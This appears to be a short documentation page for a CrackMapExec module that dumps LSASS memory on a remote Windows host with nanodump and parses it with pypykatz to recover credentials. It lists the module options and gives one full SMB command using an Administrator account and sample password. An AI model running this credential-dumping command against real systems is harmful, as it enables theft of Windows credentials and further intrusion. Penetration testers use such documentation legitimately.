Get lsass dump using nanodump and parse the result with pypykatz

Module Options

[*] nanodump module options:
TMP_DIR Path where process dump should be saved on target system (default: C:\Windows\Temp\)
NANO_PATH Path where nano.exe is on your system (default: /tmp/cme/)
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
crackmapexec smb $TARGET -u Administrator -p 'qwerty12345' -M nanodump
Last modified 3mo ago